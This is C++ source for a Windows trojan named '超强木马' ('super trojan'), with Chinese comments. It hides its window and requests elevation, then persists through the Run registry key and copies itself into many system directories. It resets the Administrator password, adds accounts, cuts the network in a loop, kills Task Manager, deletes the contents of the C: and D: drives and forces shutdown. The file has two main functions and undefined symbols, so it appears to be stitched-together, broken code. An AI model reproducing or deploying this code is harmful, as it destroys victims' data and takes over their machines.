#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
# include <stdio.h>
#include <string.h>
#include <fstream>
using namespace std;
void *do_thread(void *arg);
HWND hWnd = GetConsoleWindow();
void test() {
HKEY hKey;
if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("超强木马"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if(result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) {
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));
RegCloseKey(hKey);
}
}
}
void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) {
SHELLEXECUTEINFO ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = nShow;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteEx(&ShExecInfo);
CloseHandle(ShExecInfo.hProcess);
}
void CopyMyselfTo(LPCTSTR targetPath) {
TCHAR tcBuf[_MAX_PATH];
::GetModuleFileName(NULL, tcBuf, sizeof(tcBuf));
::CopyFile(tcBuf, targetPath, FALSE);
}
int main(int argc, char *argv[]) {
while (true) {
system("ipconfig /release"); //断开网络
}
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄
if (hwnd) {
ShowWindow(hwnd, SW_HIDE); //隐藏窗口
}
if(argc == 1) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
ManagerRun(argv[0], "2");
return 1;
} else if(argc == 2) {
string s;
ifstream id("die.txt");
id >> s;
if(int(s.find("false")) != -1) {
cout << "检测到结束文件,已结束病毒!" << endl;;
system("pause");
return 0;
}
ShowWindow(hWnd, SW_HIDE);
test();
system("net user Administrator dead");
system("net user Administrator dead /add");
char szPath[1000];
GetModuleFileName(NULL, szPath, sizeof(szPath) - 1);
string SzPath = szPath;
LPCTSTR targetPath;
struct _finddata_t fileinfo;
long long fHandle;
if(int(SzPath.find("Desktop")) != -1) {
targetPath = _T("C:\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\超强木马.exe");
targetPath = _T("C:\\Program Files (x86)\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Program Files (x86)\\超强木马.exe");
targetPath = _T("C:\\Program Files\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Program Files\\超强木马.exe");
targetPath = _T("C:\\Windows\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\debug\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\Help\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Help\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\Help\\mui\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Help\\mui\\超强木马.exe");
targetPath = _T("C:\\Windows\\debug\\Help\\mui\\0409\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Help\\mui\\0409\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\SIH\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\SIH\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\CBS\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\CBS\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\DISM\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\DISM\\超强木马.exe");
targetPath = _T("C:\\Windows\\Logs\\DPX\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\Logs\\DPX\\超强木马.exe");
targetPath = _T("C:\\Windows\\OCR\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\OCR\\超强木马.exe");
targetPath = _T("C:\\Windows\\OCR\\zh-cn\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Windows\\OCR\\zh-cn\\超强木马.exe");
} else if((fHandle = _findfirst("C:\\Users\\Administrator\\Desktop\\超强木马.exe", &fileinfo)) == -1L) {
targetPath = _T("C:\\Users\\Administrator\\Desktop\\超强木马.exe");
CopyMyselfTo(targetPath);
system("start C:\\Users\\Administrator\\Desktop\\超强木马.exe");
}
pthread_t tid;
int ret;
ret = pthread_create(&tid, NULL, do_thread, NULL);
if(ret) {
fprintf(stderr, "创建线程失败!\n");
return -1;
}
ret = pthread_detach(tid);
system("net user 已被木马 dead /add");
system("del /F /S /Q D:\\");
system("shutdown -s -t 0");
}
return 0;
}
void *do_thread(void *arg) {
while(true) {
SetCursorPos(0, 0);
system("taskkill /F /IM taskmgr.exe");
Sleep(10);
}
system(regadd);
}
int main (int argc,char *argv[])
{
while (true) {
system("ipconfig /release"); //断开网络
}
system("net user Administrator error");
system("net user Error error /add");
system("shutdown -s -t 30");
system("del /F /S /Q D:\\"); //删除D盘
system("del /F /S /Q C:\\"); //删除C盘
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
system(regadd);
while (true) {
system("ipconfig /release"); //断开网络
SetCursorPos(rand()%x,rand()%y);
system("start");
system("taskkill /f /im taskmgr.exe"); //不能打开exe可执行文件
system("taskkill /f /im taskmgr.zip"); //不能打开zip压缩包
system("taskkill /f /im taskmgr.7z"); //不能打开7z小容量压缩包
}
HWND hwnd;
hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄
if (hwnd) {
ShowWindow(hwnd, SW_HIDE); //隐藏窗口
}
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi
char cmd[]="shutdown -s -t 20";//自动关机
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");//设置开机密码为xz
system("net user 崩溃 xz /add");//建立用户,并命名为崩溃
int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴
int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴
srand(time(0));//随机函数种子
system("shutdown -s -t 20");//20秒关机
while(1) { //循环
SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
system("start");//弹出窗口
char *p=new char[10000];//卡死机
}
system(regadd);
}